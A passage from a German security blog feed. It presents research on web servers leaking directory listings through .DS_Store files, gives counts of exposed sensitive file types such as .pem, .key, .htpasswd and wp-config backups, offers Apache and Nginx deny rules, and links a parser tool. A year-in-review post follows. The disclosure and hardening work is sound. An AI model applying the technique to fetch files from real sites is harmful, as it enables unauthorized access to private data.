<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>  80957 domain1.tld
</span><span class='line'>  67754 domain2.tld
</span><span class='line'>  55143 domain3.tld
</span><span class='line'>  19688 domain4.tld
</span><span class='line'>  19520 domain5.tld
</span><span class='line'>  18989 domain6.tld
</span><span class='line'>  12525 domain7.tld
</span><span class='line'>  12058 domain8.tld
</span><span class='line'>  11521 domain9.tld
</span><span class='line'>  11463 domain10.tld</span></code></pre></td></tr></table></div></figure>


<p>Eine interessante Betrachtung ist die Verteilung der Top-Level-Domains, welche .DS_Store-Dateien preisgeben. Wie man aus den Top 25 erkennt, sind .com Seiten stark vertreten. Sie stellen fast 50% der betroffenen Domains, das könnte auf die hohe Verbreitung von Mac OS in den USA zurück zu führen sein, dazu liegen allerdings nicht genügend Informationen über die Personen oder Unternehmen, die die Domains registriert haben vor.</p>

<p><a rel="fancybox"href="/images/posts/ds_tld.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/ds_tld.png" alt="Verteilung der Funde auf die TLDs" title="Verteilung der Funde auf die TLDs" /></a></p>

<p>Nachdem wir nun ungefähr erfahren haben, welche Domains und in welchem Umfang von diesem Problem betroffen sind, können wir weitere Betrachtungen im Detail vornehmen - beispielsweise können wir unseren Blick auf die Dateien, die durch diese Methode entdeckt werden können, werfen. Wie oben beschrieben, sind diese Aussagen auf den 200-Status Antworten der HEAD-Abfragen basierend. Möglicherweise gibt es also weitaus mehr (interessante) Dateien, die von einem Angreifer heruntergeladen werden könnten. Die Top 10 der meistgefundenen Dateiendungen sieht wie folgt aus:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
</pre></td><td class='code'><pre><code class=''><span class='line'> 256715 .jpg
</span><span class='line'>  75177 .png
</span><span class='line'>  64835 .php
</span><span class='line'>  42422 .html
</span><span class='line'>  39691 .gif
</span><span class='line'>  23683 .htm
</span><span class='line'>  16397 .pdf
</span><span class='line'>   9736 .js
</span><span class='line'>   9346 .txt
</span><span class='line'>   6886 .css</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>Schaut man sich die Liste der über 1500 Dateiendungen weiter an, so findet man u.a. auch folgende Einträge, die für einen Missbrauch nützliche Informationen beinhalten könnten:</p>

<p><a rel="fancybox"href="/images/posts/ds_datatype.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/ds_datatype.png" alt="Eine Auswahl von bekannten Datentypen und deren Anzahl" title="Eine Auswahl von bekannten Datentypen und deren Anzahl" /></a></p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>661 .bak
</span><span class='line'>569 .gz
</span><span class='line'>549 .doc
</span><span class='line'>464 .db
</span><span class='line'>343 .csv
</span><span class='line'>266 .eml
</span><span class='line'>248 .log
</span><span class='line'>240 .old
</span><span class='line'>202 .docx
</span><span class='line'>186 .inc
</span><span class='line'>162 .config
</span><span class='line'>129 .cfg
</span><span class='line'>123 .sql
</span><span class='line'>123 .sh
</span><span class='line'>105 .htaccess
</span><span class='line'> 55 .git
</span><span class='line'> 35 .LOG
</span><span class='line'> 23 .orig
</span><span class='line'> 22 .tgz
</span><span class='line'> 21 .pem
</span><span class='line'> 18 .out
</span><span class='line'> 16 .conf
</span><span class='line'> 16 .cfs
</span><span class='line'> 10 .php_old
</span><span class='line'> 10 .php_
</span><span class='line'> 10 .key
</span><span class='line'>  8 .back
</span><span class='line'>  6 .backup
</span><span class='line'>  5 .bkp
</span><span class='line'>  4 .php_bak
</span><span class='line'>  3 .htpasswd
</span><span class='line'>  2 .core
</span><span class='line'>  2 .bash_history</span></code></pre></td></tr></table></div></figure>


<p>Unter den &#8220;.bak&#8221; Dateien finden sich beispielsweise folgende Dateinamen:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>  9 index.php.bak
</span><span class='line'>  2 wp-config.php.bak
</span><span class='line'>  2 php.ini.bak
</span><span class='line'>  2 db.bak</span></code></pre></td></tr></table></div></figure>


<p>Einige dieser Dateien lassen sich ohne weiteres herunterladen, da keine Authentifizierung erforderlich ist und sie offensichtlich nicht nur in der lokalen Umgebung des Entwicklers vorhanden waren, sondern auch auf den Webserver geladen wurden. Wir sind durch diese Technik auf Backupdateien, Zertifikate oder sonstige sensible Informationen aufmerksam geworden und haben die verantwortlichen Stellen (sofern möglich) informiert. Die meisten informierten Webseitenbetreiber haben direkt reagiert, entsprechende Dateien offline genommen, geschützt und .DS_Store Dateien entfernt, andere haben bislang leider noch keine Handlungen vorgenommen - wir hoffen allerdings, das die Veröffentlichung dieses Artikels erneut zur Sensibilisierung beiträgt.</p>

<h1>Kurioses zum Fund</h1>

<p>Interessant an der Angelegenheit ist, dass dieses Problem bereits mehrfach beleuchtet wurde, die &#8220;Fixes&#8221; aber meist deletantisch sind oder zumindest immernoch eine Angriffsoberfläche gegeben ist.</p>

<p><a href="https://www.securityfocus.com/bid/3324/discuss">Erste Diskussionen zu dem Thema gab es bereits 2001</a> - heute, 17 Jahre später führt die Datei immernoch zu Sicherheitsproblemen.
Apple musste auf Grund zahlreicher Kundenbeschwerden das Veröffentlichen von .DS_Store-Dateien auf Netzlaufwerken unterbinden und erklärte in einem <a href="https://support.apple.com/de-de/HT1629">Hilfeartikel</a> wie sich die Funktion abschalten ließ.
Adobe weißt in einem <a href="https://helpx.adobe.com/de/dreamweaver/kb/remove-ds-store-files-mac.html">FAQ der Web-Software Dreamweaver</a> darauf hin, dass man am besten einen Cronjob aktivieren soll, der die .DS_Store-Dateien regelmäßig löscht. Diese Art des Schutz ist allerdings ausschließlich temporär und daher wohl nicht als vollkommen ausreichend zu betrachten (bessere Lösungsvorschläge finden sich unten).
Auch im Rahmen von Bug Bounty Programmen wurde diese Technik bereits eingesetzt, so wurde ein Security Researcher beispielsweise vor 2 Jahren bei <a href="https://hackerone.com/reports/142549">Twitter fündig</a>. Dort fand ein Security-Researcher mit dem Namen &#8220;lewerkun&#8221; unter anderem Lizenzschlüssel, ein WLAN-Zertifikat, ein CA Root Zertifikat und erhielten dafür (gerade einmal) eine Belohnung in Höhe von 560$.</p>

<h1>Gegenmaßnahmen</h1>

<p>Um die unfreiwillige Preisgabe von Informationen zu verhindern, empfehlen wir folgende Maßnahmen.</p>

<p>Grundsätzlich sollten logischerweise niemals Dateien auf Webserver hochgeladen werden, welche nicht abrufbar sein sollten (auch nicht temporär). Das klingt zunächst einleuchtend, die Praxis zeigt allerdings, dass dies nicht so sehr die Regel ist. Unser Kollege <a href="https://twitter.com/hanno">Hanno Böck</a> konnte in seiner <a href="https://int21.de/slides/34c3-wget/#/">Seine Präsentation vom 34c3</a> vorführen, wie in zahlreichen Fällen mittels &#8220;wget&#8221; komplette Datenbestände heruntergeladen werden konnten - was eindrucksvoll zeigt, dass es einiges an Handlungsbedarf gibt.</p>

<p>Möchte man auf seinem Webserver überprüfen, ob die diskutierten Dateien dort zu finden sind, so kann man auf Linux-Servern folgenden Kommando verwenden:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>cd /var/www # Ins DocumentRoot des Webservers wechseln
</span><span class='line'>find . -type f -iname "*.DS_Store*"</span></code></pre></td></tr></table></div></figure>


<p>Das Kommando sucht in dem Ordner <code>/var/www</code> nach Dateien, die &#8220;.DS_Store&#8221; im Dateinamen haben. Sollte eine Ausgabe erscheinen und die entdeckten Dateien nicht explizit herunterladbar sein, so könnte eine Informationspreisgabe möglich sein. Falls Sie alle gefundenen Dateien entfernen möchten, reicht das Anhängen des Parameters <code>-delete</code> an das Suchkommando.</p>

<p>Eine bessere Methode ist hingegen den Webserver anzuweisen, diese Dateien nicht auszuliefern und den Zugriff zu blockieren. Für die zwei bekanntesten Webserver schlagen wir folgende Konfigurationseinträge vor:</p>

<h3>Apache</h3>

<p>In der <code>httpd.conf</code> kann der Zugriff mit Hilfe der folgenden Direktive verhindert werden:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&lt;Files ~ "\.DS_Store$"&gt;
</span><span class='line'>    Order allow,deny
</span><span class='line'>    Deny from all
</span><span class='line'>&lt;/Files&gt;</span></code></pre></td></tr></table></div></figure>


<h3>Nginx</h3>

<p>Im <code>server</code>-Block blockiert die folgende Anweisung den Zugriff:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>location ~ \.DS_Store$ {
</span><span class='line'>      deny all;
</span><span class='line'>}</span></code></pre></td></tr></table></div></figure>


<p>Zusätzlich sollte überprüft werden, dass:</p>

<ul>
<li>diese Dateien nicht in Code-Verwaltungsprogramme (git/svn/etc) eingecheckt und auf dem Server heruntergeladen werden</li>
<li>diese Dateien bei rsync/(s)ftp oder anderen Dateiübertragen vorher exkludiert oder entfernt werden</li>
</ul>


<h1>Proof of Concept</h1>

<p>Um eindrücklich zu zeigen welche Folgen das Veröffentichen der .DS_Store-Datei hat, haben wir eine Demowebseite erstellt auf der man unseren Parser nutzen kann, um Dateinamen aus DS_Store-Dateien auszulesen:</p>

<ul>
<li><a href="https://labs.internetwache.org/ds_store/">Link zum &#8220;Online .DS_Store Parser&#8221;</a></li>
</ul>


<p>Disclamer: Bitte ausschließlich für Selbsttest oder Lehre/Forschung nutzen. Die Benutzung für illegale Zwecke ist untersagt!</p>

<p>Weitere Fragen zum Tool beantworten wir im entsprechenden <a href="https://labs.internetwache.org/ds_store/faq">FAQ</a> oder gern per Email.</p>

<h1>Möglicher weiterer Research</h1>

<p>.DS_Store-Dateien können auch innerhalb von ZIP-Dateien enthalten sein, sofern diese unter Apple gepackt wurden. Unser Parser ist auf das Auslesen von Dateinamen aus .DS_Store-Dateien spezialisiert - es ist allerdings auch durchaus denkbar andere Informationen (etwa Kommentare zu Dateien) aus .DS_Store-Dateien auszulesen, was den Angriffsvektor noch mächtiger machen würde. Neben .DS_Store gibt es unter anderen Betriebssystemen möglicherweise weitere Dateien, welche interessant sein können - auch Verzeichnisse wie &#8220;.Trash&#8221; könnten sich für zukünftige Nachforschungen in dem Bereich lohnen.</p>

<p>Das Team der Internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Jahresrückblick auf 2017 / Ausblick 2018]]></title>
    <link href="https://www.internetwache.org/jahresruckblick-auf-2017-slash-ausblick-2018-06-01-2018/"/>
    <updated>2018-01-06T22:20:00+01:00</updated>
    <id>https://www.internetwache.org/jahresruckblick-auf-2017-slash-ausblick-2018</id>
    <content type="html"><![CDATA[<p>Wie auch im letzten Jahr werden wir in diesem Artikel einen Rückblick in das vergangene Jahr vornehmen und einen Ausblick auf das kommende Jahr wagen.</p>

<!-- more -->


<p>Den meisten unserer Leser werden die Jahresrückblicke schon seit dem Bestehen des Projektes bekannt sein (siehe beispielseweise den <a href="https://www.internetwache.org/jahresruckblick-auf-2016-slash-ausblick-2017-01-01-2017/">Jahresrückblick von 2016</a> ).</p>

<h2>Besonderheiten in 2017</h2>

<p>Im letzten Jahr gab es einige Besonderheiten. Diese haben zum einen unsere persönliche (und sicherlich auch die Arbeit von sonstigen IT-Spezialisten) beeinflusst haben wird. Das Windows-Schadprogramm &#8220;WannaCry&#8221; hat im Mai 2017 neue Maßstäbe gesetzt und zeigt eindrücklich wie verwundbar unsere digitalisierte Gesellschaft ist.</p>

<p>Auf Grund unserer Arbeiten im Jahr 2016 (unter anderem dem <a href="https://www.internetwache.org/wie-wir-wasserwerke-im-internet-entdeckten-16-08-2016/">Fund von Wasserwerken</a>) durften wir <a href="https://www.janalbrecht.eu/sprachen/en/artikel/2017-06-21-security-in-the-internet-of-things.html">im Rahmen eines Hearings im europäischem Parlament</a> (in Brüssel / Belgien) unsere Erfahrungen und Eindrücke zum Thema Internetsicherheit (mit dem Schwerpunkt auf IoT-Security) schildern. Diese Art der Arbeit (Lobbyismus) war für uns eine neue, spannende Erfahrung. Wir halten es für wichtig, dass neben Vertretern der Industrie immer auch zivilgesellschaftliche Gruppen angehört werden, um einen Interessensausgleich in der Politik zu ermöglichen.</p>

<p>Die Ereignisse um #WannaCry waren für uns auch der Anlass in diesem Jahr einen besonderen Sticker zu erstellen.</p>

<p><a rel="fancybox"href="/images/posts/wannacry-sticker.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/wannacry-sticker.png" alt="Unser Wannacry sticker" title="Wannacry Sticker" /></a></p>

<p>Unsere Arbeit, insbesondere die Funde der Wasserwerke und Ampeln, wurde im offiziellen Bericht des <a href="https://de.wikipedia.org/wiki/Bundesamt_f%C3%BCr_Sicherheit_in_der_Informationstechnik">Bundesamt für Sicherheit in der Informationstechnik</a> zur Lage der IT Sicherheit in Deutschland 2017 erwähnt (leider ohne konkrete Quellennennung).</p>

<p>Siehe: <a href="https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2017.pdf?__blob=publicationFile&amp;v=2">Lagebericht 2017: Die Lage der IT-Sicherheit in Deutschland</a>, Seite 14.</p>

<p>Wir freuen uns, dass 5 Jahre nach Gründung von Internetwache.org eine solch prominente Nennung, durch eine wichtige Bundesbehörde, erfolgt ist.</p>

<p>Ein weiteres Highlight des Jahres war, dass sowohl Tim als auch Sebastian ihren ersten Studienabschnitt erfolgreich abschließen konnten und nun stolzer Besitzer eines &#8220;Bachelor of Science&#8221; sind, siehe mehr dazu in der Rubrik &#8220;persönliche Erfolge&#8221;.</p>

<p>Uns wurde mitgeteilt, dass unsere Webseite bei manchen Anti-Viren-Programmen oder Firewalls als &#8220;gefährlich&#8221; eingestuft wird. Wir sind uns nicht ganz sicher, wie wir auf solchen Listen landen konnten (vermutlich hat es mit einem <a href="https://www.internetwache.org/analyse-zum-vorgehen-einer-kryptomining-malware-09-09-2016/">Artikel über Kryptomining Malware</a> zu tun), aber arbeiten mit Nachdruck daran, unsere Domain von diesen Listen streichen zu lassen. Sollte euch auffallen, dass unsere Seite irgendwo nicht erreichbar oder gesperrt ist, so sind wir über <a href="https://www.internetwache.org/pgp-kontakt/">Hinweise per Email</a> immer sehr dankbar!</p>

<h2>Medienberichte</h2>

<p>In 2017 haben wir, wie im letzten Jahr angekündigt, unsere Arbeit mit Medien fortgesetzt. Dadurch konnten wir die Wichtigkeit des Themas IT- und Informationssicherheit betonen und unser Projekt, auch weniger IT-affinen Personen näherbringen und zudem die gesellschaftliche Relevanz darstellen.</p>

<h3>ZDF Wiso</h3>

<p>Anfang des Jahres 2017 haben wir an einem Kurzbeitrag zum Thema &#8220;Hackerangriffe auf Infrastrukturen&#8221; bei ZDF Wiso mitgewirkt. In dem Beitrag stellen wir unsere Wasserwerk Funde und ein neu gefundenes Krankenhaus vor und beschreiben die Risiken in dem Bereich.</p>

<p>Link: <a href="https://www.zdf.de/verbraucher/wiso/wiso-clip-3-hackerangriffe-auf-infrastruktur-wasser-strom-werke-100.html">https://www.zdf.de/verbraucher/wiso/wiso-clip-3-hackerangriffe-auf-infrastruktur-wasser-strom-werke-100.html</a></p>

<h3>Bericht aus Berlin (ARD)</h3>

<p>Wir halten die fortlaufende, offensive Militarisierung des Cyberraums (durch Behörden und Geheimdienste) für sehr bedenklich. Wir haben in einem Bericht aus Berlin dazu unsere Meinung kurz darlegen können.</p>

<p>Link: <a href="https://www.tagesschau.de/multimedia/sendung/bab/bab-3971~_bab-sendung-363.html">https://www.tagesschau.de/multimedia/sendung/bab/bab-3971~_bab-sendung-363.html</a></p>

<h3>ZDF Zoom</h3>

<p>ZDFZoom ist ein längeres Dokuformat des ZDFs. Wir schildern in der Dokumentation wie wir ein neues Wasserwerk in Bayern ausfindig machen konnten.</p>

<p>Link: <a href="https://www.zdf.de/dokumentation/zdfzoom/zdfzoom-datenklau-und-cyberwar-100.html">https://www.zdf.de/dokumentation/zdfzoom/zdfzoom-datenklau-und-cyberwar-100.html</a></p>

<h3>TAZ</h3>

<p>Vor der Bundestagswahl 2017 gab es viele Befürchtungen, dass die Wahl (ähnlich wie in den USA) durch Hacks oder gezielte Manipulation beeinflusst werden könnte. Wir wurden deshalb zu dem Thema von der TAZ befragt.</p>

<p>Link: <a href="https://www.taz.de/Gehackte-Daten-aus-dem-Bundestag/!5436704/">https://www.taz.de/Gehackte-Daten-aus-dem-Bundestag/!5436704/</a></p>

<h3>Politico.eu</h3>

<p>Auch auf politico.eu wurden wir zum Thema &#8220;Wahl&#8221; und &#8220;IT-Sicherheit&#8221; befragt.</p>

<p>Link: <a href="https://www.politico.eu/article/hacked-information-bomb-under-germanys-election/">https://www.politico.eu/article/hacked-information-bomb-under-germanys-election/</a></p>

<h3>golem.de</h3>

<p>Mit golem.de pflegen wir mittlerweile eine recht intensive, wenn auch nicht formale, Medienkooperation. Auf unserem Blog erreichen wir nicht so viele Personen, wie über golem.de - weshalb wir besondere Erkenntnisse oder Funde dort platzieren.
In 2017 sind dort unter anderem folgende Artikel erschienen:</p>

<ul>
<li><a href="https://www.golem.de/news/gebaeudesteuerung-luxusklinik-vergass-it-im-netz-1702-126362.html">Fund einer unsicheren Luxus Klinik in der Schweiz</a></li>
<li><a href="https://www.golem.de/news/owasp-top-10-die-zehn-wichtigsten-sicherheitsrisiken-bekommen-ein-update-1704-127426.html">Diskussionen zu den neuen OWASP Top10</a></li>
<li><a href="https://www.golem.de/news/g20-hinweisportal-der-polizei-hamburg-hat-rechtliche-probleme-1707-128829.html">IT-Rechtliche Probleme beim G20 Hinweisportal</a></li>
<li><a href="https://www.golem.de/news/energieversorgung-e-mail-konten-sind-besser-gesichert-als-windparks-1709-129868.html">Windkraft und IT-Sicherheit</a></li>
</ul>


<h3>Weitere Medienberichte</h3>

<p>Mittlerweile findet man eine ganze Reihe von Medienberichten über uns, weshalb wir uns an dieser Stelle nur auf die reichtweitenstärksten und direkten Beiträge beschränkt haben.</p>

<h2>Konferenzen und Vorträge</h2>

<p>2017 waren wir auf verschiedenen Konferenzen.</p>

<h3>RuCTF 2017</h3>

<p>Anfang des Jahres war Sebastian als Teil des <a href="https://twitter.com/ENOFLAG">@ENOFLAG</a> CTF Teams und der TU-Berlin beim Finale des <a href="http://ructfe.org/">RuCTF</a> Wettbewerbs, zu dem die gleichnamige Konferenz in Jekaterinburg stattfindet.</p>

<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">I had fun with my colleagues from <a href="https://twitter.com/ENOFLAG?ref_src=twsrc%5Etfw">@ENOFLAG</a> at the <a href="https://twitter.com/ructf?ref_src=twsrc%5Etfw">@ructf</a> finals!<br><br>Nice venue, nice challenges, nice people. 10/10  :) <a href="https://twitter.com/hashtag/ructf?src=hash&amp;ref_src=twsrc%5Etfw">#ructf</a> <a href="https://t.co/l6DXaPjUMz">pic.twitter.com/l6DXaPjUMz</a></p>&mdash; Sebastian Neef (@gehaxelt) <a href="https://twitter.com/gehaxelt/status/856475338561474560?ref_src=twsrc%5Etfw">24. April 2017</a></blockquote>


<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>


<h3>Quantenkonferenz</h3>

<p>Im Juni fand die von Golem.de organisierte <a href="https://www.golem.de/g20j/">Quantenkonferenz</a> statt, auf die wir freundlicherweise eingeladen wurden. Die Konferenz war ein guter Einstieg in das (für uns) noch relativ neue Thema der Quantencomputer. Es wird vermutet, dass mit Quantencomputern die bekannte Kryptographie &#8220;gebrochen&#8221; werden könnte, aber glücklichweise erbringen Quantencomputer mit nur wenigen Qubits bisher kaum die nötige Rechenleistung. Wir finden das Thema sehr spannend und werden beobachten, was sich in dem Themengebiet in den kommenden Jahren tun wird.</p>

<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">Woop woop! I&#39;m ready for quantum computing and interesting talks. Thanks for the invitation, <a href="https://twitter.com/golem?ref_src=twsrc%5Etfw">@golem</a> :) <a href="https://t.co/PsISBA1hKB">pic.twitter.com/PsISBA1hKB</a></p>&mdash; Sebastian Neef (@gehaxelt) <a href="https://twitter.com/gehaxelt/status/878142489944870912?ref_src=twsrc%5Etfw">23. Juni 2017</a></blockquote>


<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>


<h3>Z2X</h3>

<p>Anfang September 2017 war Tim auf dem <a href="http://z2x.zeit.de/">Z2X Festival von ZEIT Online</a>, hat dort die Arbeit von Internetwache.org vorgestellt und generell Fragen zum Thema Hacking beantwortet. Unser Projekt &#8220;Internetwache.org&#8221; wurde abschließend durch die <a href="http://www.zeit.de/campus/2017-09/z2x-festival-zehn-beste-projekte">800 Teilnehmer von Z2X sogar auf Platz 2</a> gewählt. Es freut uns im Rahmen solcher Events auf positive Resonanz und Unterstützung zu stoßen.  Z2X war für Tim eine besondere Erfahrung, die er auch 2018 nicht missen möchte. Nächstes Jahr wird Sebastian auch dabei sein, um Tim bei der Vorstellung des Projekts zu unterstützen.</p>

<blockquote class="twitter-tweet" data-lang="de"><p lang="de" dir="ltr"><a href="https://twitter.com/hashtag/Z2X17?src=hash&amp;ref_src=twsrc%5Etfw">#Z2X17</a>-Finalist: <a href="https://t.co/3ygE9usCVt">https://t.co/3ygE9usCVt</a> will das Internet durch Hacking sicherer machen <a href="https://t.co/FMQC9a5vTF">pic.twitter.com/FMQC9a5vTF</a></p>&mdash; z2xfest (@z2xfest) <a href="https://twitter.com/z2xfest/status/904346744896581632?ref_src=twsrc%5Etfw">3. September 2017</a></blockquote>


<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>


<h3>34C3</h3>

<p>Am Ende des Jahres waren wir wieder auf dem größten, europäischem Hackercongress (wie die letzten 4 Jahren), der <a href="https://events.ccc.de/congress/2017/wiki/index.php/Main_Page">34. Edition des Chaos Communication Congresses</a>. Vier Tage lang hörten wir uns spannende Vorträge an, genossen die Hacker-Atmosphäre und trafen einige unserer Freunde und Follower wieder! Wie auch im Vorjahr hatten wir ein eigenes Assembly und freuen uns mit einigen Leuten ins Gespräch gekommen zu sein. Mit dem Standortwechsel nach Leipzig (zuvor waren wir immer in Hamburg) ergaben sich viele neue Herausforderungen, die aber gut gelöst wurden und eine wunderbare Zeit ermöglichten. Wir freuen uns auf die nächste Edition Ende 2018 (#35c3)!</p>

<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">Thank you for a very nice <a href="https://twitter.com/hashtag/34c3?src=hash&amp;ref_src=twsrc%5Etfw">#34c3</a><br>Amazing talks, friendly discussions and hacking around! Looking forwars to <a href="https://twitter.com/hashtag/35c3?src=hash&amp;ref_src=twsrc%5Etfw">#35c3</a> ^ts <a href="https://t.co/bOgLmp0EX0">pic.twitter.com/bOgLmp0EX0</a></p>&mdash; Internetwache.org (@internetwache) <a href="https://twitter.com/internetwache/status/947147222571012096?ref_src=twsrc%5Etfw">30. Dezember 2017</a></blockquote>


<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>Unsere Sticker kamen dieses Jahr besser als letztes Jahr an. Insgesamt verteilten wir alle 1000 Stück auf dem Congress. Habt ihr (k)einen abbekommen? Dann lasst es uns wissen :)</p>

<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">We distributed around 1000 new stickers at the <a href="https://twitter.com/hashtag/34C3?src=hash&amp;ref_src=twsrc%5Etfw">#34C3</a>. Who got a fancy <a href="https://twitter.com/hashtag/wannacry?src=hash&amp;ref_src=twsrc%5Etfw">#wannacry</a> sticker on his laptop now? ^sn <a href="https://t.co/71WdIEpQ1M">pic.twitter.com/71WdIEpQ1M</a></p>&mdash; Internetwache.org (@internetwache) <a href="https://twitter.com/internetwache/status/949022731722469376?ref_src=twsrc%5Etfw">4. Januar 2018</a></blockquote>


<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>


<h2>Persönliche Erfolge</h2>

<p>Sebastian (<a href="https://twitter.com/gehaxelt">@gehaxelt</a>) hat seinen Bachelor mit einer Arbeit zum Thema <a href="https://arxiv.org/abs/1709.01142">Implementation and Evaluation of a Framework to calculate Impact Measures for Wikipedia Authors</a> abgeschlossen. Danach ist er mit einem Kumpel 2.5 Monate und insgesamt 12,000 Kilometer durch fast alle Länder Osteuropas gefahren, und hat dabei viele neue Eindrücke und Erfahrungen gesammelt. Das Masterstudium und möglicherweise ein Auslandsaufenthalt sind für 2018 geplant!</p>

<p>Tim (<a href="https://twitter.com/TimPhSchaefers">@TimPhSchaefers</a>) hat ebenfalls seinen Bachelor abgeschlossen. In seiner Bachelorarbeit hat er sich mit einer Evaluation im Bereich PAM (Privileged Access Management) beschäftigt. Desweiteren wurde Tim zum <a href="https://gi.de/fileadmin/GI/Hauptseite/Ueber_uns/Auszeichnungen/Junior-Fellows/GI-Junior-Fellow2017-schaefers.pdf">Junior-Fellow der Gesellschaft für Informatik</a> ernannt. Außerdem hat er, gemeinsam mit einem Kommilitonen, ein zweites Buch mit dem Titel  <a href="http://amzn.to/2E6FeqS">&#8220;WLAN Hacking&#8221;</a> geschrieben, welches im Januar 2018 erscheint.
Im Rahmen seines Junior-Fellowships bei der <a href="https://gi.de/">Gesellschaft für Informatik</a> möchte Tim sich weiterhin für die Themen IT-Sicherheit und Privatsphäre einsetzen.</p>

<h2>2017 in Zahlen</h2>

<p>Mit mehr als 2200 Followern auf unserem <a href="https://twitter.com/internetwache">@internetwache</a> Twitterprofil erfreuen wir uns einem Zuwachs von ungefähr 1.6 Followern pro Tag im vergangenen Jahr.</p>

<p>Die Besucherzahlen unseres Blogs stieg dieses Jahr wieder einmal kräftig an. Wir zählen verzeichnen ungefahr 40,000 Besuchen mit insgesamt 52,000 Seitenansichten. Das ist ein 50% Anstieg an Besuchen im Vergleich zum Vorjahr! Wahrscheinlich haben wir diese Zahlen vorallem unseren internationalen Lesern zu verdanken, denn die englische Version des Blogs wird ungefähr 3x häufiger besucht als die deutsche Version. Das Ergebnis erstaunt uns dennoch, denn im Gegensatz zum Vorjahr, schrieben wir dieses Jahr insgesamt nur drei Artikel. Leider fehlte uns für mehr Research und mehr Posts die Zeit, aber wir versuchen das 2018 zu ändern.</p>

<p>Wir hoffen euch mit tollen, neuen Erkenntnissen überraschen zu können und haben bereits einige Ideen. Kommen wir also zum Ausblick &#8230;</p>

<h2>Ausblick auf 2018</h2>

<p>Im Jahr 2017 haben wir, anders als geplant, leider nicht die Kraft und Zeit gefunden ein CTF (capture the flag) zu veranstalten. Da <a href="https://www.internetwache.org/internetwache-ctf-2016-im-ruckblick-06-03-2016/">unser erstes CTF</a> uns allerdings sehr viel Spaß gemacht hat, wollen wir in Zukunft erneut ein CTF hosten.</p>

<p>In 2018 möchten wir unsere Medienarbeit und Auftriffe auf Konferenzen weiter intensivieren. Außerdem wollen wir wieder mehr Research Blogposts (ggfs. auch über golem.de) veröffentlichen. Wir haben bereits einige Themenideen und es wird in Kürze etwas dazu zu hören geben.</p>

<p><strong><em>Für 2018 oder besser gesagt 2019 planen wir noch eine Überraschung. Wir werden im Blog darüber berichten.</em></strong></p>

<p>In dem Sinne wünschen wir allen unseren Lesern ein erfolgreiches 2018!</p>

<p>Tim &amp; Sebastian</p>

<p>Das Team der Internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Certificate Transparency als Quelle für Subdomains]]></title>
    <link href="https://www.internetwache.org/certificate-transparency-als-quelle-fur-subdomains-14-12-2017/"/>
    <updated>2017-12-14T00:00:00+01:00</updated>
    <id>https://www.internetwache.org/certificate-transparency-als-quelle-fur-subdomains</id>
